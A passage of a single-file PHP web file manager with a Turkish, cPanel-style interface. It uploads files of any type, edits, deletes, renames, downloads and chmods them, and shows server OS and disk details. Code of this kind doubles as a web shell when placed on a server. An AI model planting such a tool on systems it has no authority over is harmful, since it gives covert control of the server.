basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { pushUndo('upload', ['path' => $target]); echo "<p class='success-message'>Yüklendi.</p>"; } else { echo "<p style='color:red;'>Yükleme hatası.</p>"; } } } function createFolder($path) { if (!empty($_POST['folder_name'])) { $folder = $path . DIRECTORY_SEPARATOR . basename($_POST['folder_name']); if (!file_exists($folder)) { if (@mkdir($folder, 0755)) { pushUndo('mkdir', ['path' => $folder]); echo "<p class='success-message'>Klasör oluşturuldu.</p>"; } else { echo "<p style='color:red;'>Klasör oluşturulamadı.</p>"; } } else { echo "<p>Klasör zaten var.</p>"; } } } function createFile($path) { if (!empty($_POST['file_name'])) { $file = $path . DIRECTORY_SEPARATOR . basename($_POST['file_name']); if (!file_exists($file)) { if (file_put_contents($file, '') !== false) { pushUndo('createFile', ['path' => $file]); echo "<p class='success-message'>Dosya oluşturuldu.</p>"; } else { echo "<p style='color:red;'>Dosya oluşturulamadı.</p>"; } } else { echo "<p>Dosya zaten var.</p>"; } } } // POST işlemleri if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (($_POST['csrf_token'] ?? '') !== $_SESSION['csrf_token']) die("CSRF Hatası!"); if (isset($_POST['bulk_action'])) { handleBulkActions($path, $rootDir); } if (isset($_FILES['file'])) uploadFile($path); if (isset($_POST['folder_name'])) createFolder($path); if (isset($_POST['file_name'])) createFile($path); } // Eylemlerin Kontrolü (Tekil) if (isset($_GET['action'])) { if (in_array($_GET['action'], ['edit', 'delete', 'rename', 'download', 'chmod'])) { if (!isset($_GET['item'])) die("Öğe belirtilmeli."); $item = basename($_GET['item']); $itemPath = realpath($path . DIRECTORY_SEPARATOR . $item); if (!$itemPath || strpos($itemPath, $rootDir) !== 0) { die("Yetkisiz işlem."); } switch ($_GET['action']) { case 'edit': editFile($itemPath); break; case 'delete': deleteFile($itemPath); echo "<p class='success-message'>Öğe silindi (Çöp kutusuna taşındı).</p>"; break; case 'rename': renameFile($itemPath); break; case 'download': downloadFile($itemPath); break; // Artık dosya/klasör ayrımını downloadFile yapar case 'chmod': $currentPerms = getPermissions($itemPath)['numeric']; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_mode'])) { // CSRF kontrolü eklendi if (($_POST['csrf_token'] ?? '') !== $_SESSION['csrf_token']) die("CSRF Hatası!"); chmodFile($itemPath, $_POST['new_mode']); } echo "<h3>İzinleri Değiştir: " . htmlspecialchars($item) . "</h3>"; echo "<p>Mevcut İzin: <b>$currentPerms</b></p>"; echo "<form method='POST'> <input type='hidden' name='csrf_token' value='{$_SESSION['csrf_token']}'> <input type='text' name='new_mode' placeholder='Yeni İzin (örn: 755, 644)' value='755' pattern='[0-7]{3,4}' required> <button type='submit' class='btn-primary'>CHMOD Uygula</button> </form>"; break; default: echo "<p>Bilinmeyen eylem.</p>"; break; } if ($_GET['action'] !== 'download' && $_GET['action'] !== 'clear_cache' && $_GET['action'] !== 'edit') { echo "<hr><a href='?path=" . urlencode($path) . "' class='btn-secondary'>↩️ Geri Dön</a>"; } exit; } elseif ($_GET['action'] === 'clear_cache') { // Cache Temizleme için özel durum (item gerekli değil) ob_implicit_flush(true); clearCache($rootDir); echo "<hr><a href='?path=" . urlencode($path) . "' class='btn-secondary'>↩️ Geri Dön</a>"; exit; } } // Sunucu Bilgileri function getServerInfo($path) { $info = [ 'disk_total' => 'N/A', 'disk_used' => 'N/A', 'disk_free' => 'N/A', 'disk_percent' => 'N/A', 'server_name' => $_SERVER['SERVER_NAME'] ?? 'Bilinmiyor', 'os' => php_uname('s') . ' ' . php_uname('r'), 'cpu_load' => 'N/A' ]; if (function_exists('disk_total_space') && function_exists('disk_free_space')) { $totalSpace = @disk_total_space($path); $freeSpace = @disk_free_space($path); if ($totalSpace !== false && $freeSpace !== false) { $usedSpace = $totalSpace - $freeSpace; $usagePercent = $totalSpace > 0 ? round(($usedSpace / $totalSpace) * 100, 1) : 0; $info['disk_total'] = formatBytes($totalSpace); $info['disk_used'] = formatBytes($usedSpace); $info['disk_free'] = formatBytes($freeSpace); $info['disk_percent'] = $usagePercent . '%'; } } if (function_exists('sys_getloadavg') && $load = sys_getloadavg()) { $info['cpu_load'] = round($load[0], 2); } return $info; } $serverInfo = getServerInfo($path); // HTML echo "<style> /* GENEL STİLLER - CPanel Benzeri */ body { font-family: 'Open Sans', Arial, sans-serif; padding: 20px; background: #f7f9fc; color:#333 } h2, h3 { color: #1f4287; border-bottom: 1px solid #e0e6ed; padding-bottom: 10px; margin-top: 25px; } input[type='text'], input[type='password'], select { padding: 10px; margin: 5px 0; border: 1px solid #c9d2de; border-radius: 4px; box-shadow: inset 0 1px 2px rgba(0,0,0,0.05); width: 250px; } a { text-decoration: none; color: #1f4287; transition: color 0.2s; } a:hover { color: #007bff; text-decoration: underline; } .success-message { color: #1e7e34; background-color: #d4edda; border: 1px solid #c3e6cb; padding: 10px; border-radius: 4px; margin: 15px 0; } /* Buton Stil Sınıfları */ .btn-primary, .btn-secondary, .btn-success, .btn-warning, .btn-danger { padding: 10px 15px; border: none; border-radius: 4px; cursor: pointer; font-weight: bold; transition: background-color 0.2s; } .btn-primary { background-color: #1f4287; color: white; } .btn-primary:hover { background-color: #163675; } .btn-secondary { background-color: #6c757d; color: white; } .btn-secondary:hover { background-color: #5a6268; } .btn-success { background-color: #28a745; color: white; } .btn-success:hover { background-color: #1e7e34; } .btn-warning { background-color: #ffc107; color: #333; } .btn-warning:hover { background-color: #e0a800; } .btn-danger { background-color: #dc3545; color: white; } .btn-danger:hover { background-color: #c82333; } /* Info Bar */ .info-bar { display: flex; flex-wrap: wrap; justify-content: space-between; background: #e9ecef; padding: 15px; margin-bottom: 20px; border-radius: 8px; border: 1px solid #dee2e6; } .info-item { padding: 0 10px; font-size: 0.9em; } .info-item b { font-size: 1.1em; color: #007bff; } /* Dosya Listesi Tablosu */ .file-list-table th, .file-list-table td { padding: 10px 8px; border-bottom: 1px solid #dee2e6; font-size: 0.9em; } .file-list-table th { background: #f0f4f8; text-transform: uppercase; font-weight: 600; color: #555; } .file-row:hover { background-color: #f0f8ff; } .perm-link { font-family: monospace; } /* Editor Alanı Yeni Stilleri */ .editor-wrapper { max-width: 90%; margin: 40px auto; /* Sayfayı ortalama */ box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1); border-radius: 8px; overflow: hidden; border: 1px solid #c9d2de; } .editor-header { background: #343a40; /* Koyu üst çubuk */ color: white; padding: 10px 15px; font-weight: 600; border-bottom: 1px solid #212529; } .editor-title b { color: #ffc107; } /* Dosya adını vurgula */ .editor-container { display: flex; overflow: auto; background: #272822; /* Koyu arka plan */ color: #f8f8f2; } .line-numbers { width: 45px; padding: 5px 8px; background: #3E3D32; /* Satır numarası arka planı */ color: #75715E; text-align: right; user-select: none; font-family: monospace; font-size: 14px; line-height: 1.2; flex-shrink: 0; overflow: hidden; position: sticky; /* Kaydırmada sabit kalır */ left: 0; z-index: 1; } .editor-textarea { flex-grow: 1; border: none; padding: 5px; background: #272822; color: #f8f8f2; resize: none; outline: none; font-family: monospace; font-size: 14px; line-height: 1.2; min-height: 400px; overflow-y: scroll; } .editor-save-button, .editor-cancel-button { margin: 15px 0 15px 15px; } .action-container { display:flex; gap: 20px; margin-top: 20px;} .file-actions { flex: 1; border: 1px solid #ddd; padding: 15px; border-radius: 8px; background: #fff; } .plugin-area { flex: 1; background: #fff; padding: 15px; border-radius: 8px; border: 1px solid #ddd; } .plugin-row { display:flex; justify-content: space-between; align-items: center; border-bottom: 1px dashed #eee; padding: 8px 0; } .plugin-name { font-weight: bold; } </style>"; // Editör sayfasında sadece editör gösterildiği için genel arayüzü gizle if (isset($_GET['action']) && $_GET['action'] === 'edit') { // Editör fonksiyonu çağrılacak ve çıkış yapılacak. } else { // Normal dosya yöneticisi arayüzü (Ortalanmış bir ana konteyner içinde gösterilir) echo "<div style='max-width: 90%; margin: 20px auto;'>"; echo "<h2>🗂️ Dosya Yöneticisi</h2>"; // Sunucu Bilgileri Çubuğu echo "<div class='info-bar'> <div class='info-item'>Sunucu: <b>{$serverInfo['server_name']}</b></div> <div class='info-item'>OS: <b>{$serverInfo['os']}</b></div> <div class='info-item'>CPU Yükü (1 dk): <b>{$serverInfo['cpu_load']}</b></div> <div class='info-item'>Disk Kullanımı: <b>{$serverInfo['disk_used']}</b> / {$serverInfo['disk_total']} ({$serverInfo['disk_percent']})</div> </div>"; echo "<p>Mevcut Dizin: <b>" . htmlspecialchars($path) . "</b></p>"; echo "<div style='display:flex;gap:8px;align-items:center;margin:10px 0'> <a href='?path=" . urlencode(dirname($path)) . "' class='btn-secondary' style='background:#e2e8f0; color:#333;'>⬆️ Bir Üst Dizin</a> <a href='?path=" . urlencode($rootDir) . "' class='btn-secondary' style='background:#e2e8f0; color:#333;'>🏠 Ana Dizin</a> <a href='?path=" . urlencode($path) . "' class='btn-secondary' style='background:#e2e8f0; color:#333;'>🔄 Yenile</a> <a href='?path=" . urlencode($path) . "&undo=1' class='btn-warning'>↩️ Geri Al</a> <span style='margin-left:auto'></span> <a href='?logout=1' class='btn-danger'>🔓 Çıkış Yap</a> </div><hr>"; // Geri alma eylemi kontrolü if (isset($_GET['undo']) && $_GET['undo'] == '1') { performUndo(); echo "<hr><a href='?path=" . urlencode($path) . "' class='btn-secondary'>↩️ Geri Dön</a>"; exit; } // Listele listDirectory($path); // Yükleme / Oluşturma Formları ve Plugin Alanı echo "<div class='action-container'>"; // Sol Bölüm (Dosya İşlemleri) echo "<div class='file-actions'>"; echo "<h3>⬆️ Dosya Yükle</h3> <form method='POST' enctype='multipart/form-data'> <input type='hidden' name='csrf_token' value='{$_SESSION['csrf_token']}'> <input type='file' name='file'><button type='submit' class='btn-primary'>Yükle</button> </form>"; echo "<h3>📁 Klasör Oluştur</h3> <form method='POST'> <input type='hidden' name='csrf_token' value='{$_SESSION['csrf_token']}'> <input type='text' name='folder_name' placeholder='Klasör Adı' style='width:200px;'><button type='submit' class='btn-primary'>Oluştur</button> </form>"; echo "<h3>📄 Dosya Oluştur</h3> <form method='POST'> <input type='hidden' name='csrf_token' value='{$_SESSION['csrf_token']}'> <input type='text' name='file_name' placeholder='Dosya Adı' style='width:200px;'><button type='submit' class='btn-primary'>Oluştur</button> </form>"; echo "</div>"; // Sağ Bölüm (Plugin Alanı) echo "<div class='plugin-area'>"; echo "<h3>🔌 Eklenti/Modül Yönetimi</h3>"; $plugins = getPlugins(); foreach ($plugins as $key => $plugin) { $status = $plugin['active']; $action = $status ? 'deactivate' : 'activate'; $buttonText = $status ? 'Deaktif Et' : 'Aktif Et'; $buttonClass = $status ? 'btn-danger' : 'btn-success'; if ($key === 'cache_clean' && $status) { $buttonClass = 'btn-warning'; $buttonText = 'Cache Temizle'; } echo "<div class='plugin-row'>"; echo "<div><span class='plugin-name'>" . htmlspecialchars($plugin['name']) . "</span><br><small style='color:#666;'>" . htmlspecialchars($plugin['description']) . "</small></div>"; if ($key === 'cache_clean' && $status) { echo "<a href='?path=" . urlencode($path) . "&action=clear_cache' onclick='return confirm(\"Tüm önbellek dosyaları ve klasörleri silinecektir. Emin misiniz?\")' class='btn-warning'>Cache Temizle</a>"; } else { echo "<a href='?path=" . urlencode($path) . "&plugin_action=$action&plugin_key=$key' class='$buttonClass'>" . $buttonText . "</a>"; } echo "</div>"; } echo "</div>"; echo "</div>"; echo "</div>"; // Ana konteyner sonu } if (isset($_GET['action'])) { if (in_array($_GET['action'], ['edit', 'delete', 'rename', 'download', 'chmod'])) { if (!isset($_GET['item'])) die("Öğe belirtilmeli."); $item = basename($_GET['item']); $itemPath = realpath($path . DIRECTORY_SEPARATOR . $item); if (!$itemPath || strpos($itemPath, $rootDir) !== 0) { die("Yetkisiz işlem."); } switch ($_GET['action']) { case 'edit': editFile($itemPath); break; case 'delete': deleteFile($itemPath); echo "<p class='success-message'>Öğe silindi (Çöp kutusuna taşındı).</p>"; break; case 'rename': renameFile($itemPath); break; case 'download': downloadFile($itemPath); break; // Artık dosya/klasör ayrımını downloadFile yapar case 'chmod': $currentPerms = getPermissions($itemPath)['numeric']; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_mode'])) { // CSRF kontrolü eklendi if (($_POST['csrf_token'] ?? '') !== $_SESSION['csrf_token']) die("CSRF Hatası!"); chmodFile($itemPath, $_POST['new_mode']); } echo "<h3>İzinleri Değiştir: " . htmlspecialchars($item) . "</h3>"; echo "<p>Mevcut İzin: <b>$currentPerms</b></p>"; echo "<form method='POST'> <input type='hidden' name='csrf_token' value='{$_SESSION['csrf_token']}'> <input type='text' name='new_mode' placeholder='Yeni İzin (örn: 755, 644)' value='755' pattern='[0-7]{3,4}' required> <button type='submit' class='btn-primary'>CHMOD Uygula</button> </form>"; break; case 'clear_cache': ob_implicit_flush(true); // İlerleme çubuğu için çıktı arabelleğini etkinleştir clearCache($rootDir); break; default: echo "<p>Bilinmeyen eylem.</p>"; break; } if ($_GET['action'] !== 'download' && $_GET['action'] !== 'clear_cache' && $_GET['action'] !== 'edit') { echo "<hr><a href='?path=" . urlencode($path) . "' class='btn-secondary'>↩️ Geri Dön</a>"; } exit; } elseif ($_GET['action'] === 'clear_cache') { // Cache Temizleme için özel durum (item gerekli değil) ob_implicit_flush(true); clearCache($rootDir); echo "<hr><a href='?path=" . urlencode($path) . "' class='btn-secondary'>↩️ Geri Dön</a>"; exit; } } ?>